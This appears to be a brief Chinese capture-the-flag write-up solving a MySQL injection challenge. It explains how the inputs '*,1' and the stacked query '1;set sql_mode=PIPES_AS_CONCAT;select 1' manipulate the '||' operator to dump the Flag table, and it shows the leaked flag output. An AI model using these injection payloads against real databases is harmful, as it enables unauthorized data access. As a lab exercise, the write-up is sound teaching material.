关键的查询代码是 select $post['query']||flag from Flag
-
输入的内容为*,1*
sql语句就变成了select *,1||flag from Flag(此时||是逻辑或)也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内
-
输入 1 或 0 查询结果如图,要想办法让
||
不是逻辑或
官方给的 payload 是1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接一下就是
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
关于
sql_mode
: 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT
将||
视为字符串的连接操作符而非 “或” 运算符 -
这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个
||
相当于是将select 1
和select flag from flag
的结果拼接在一起select 1;select flag from flag(应该是这个意思)
Array ( [0] => 1 ) Array ( [0] => 1flag{550336de-2cb6-4945-977c-e0cc7b204c3b} )
mysql>show tables;
1 |
---|
flag |
mysqlselect *,1 from Flag;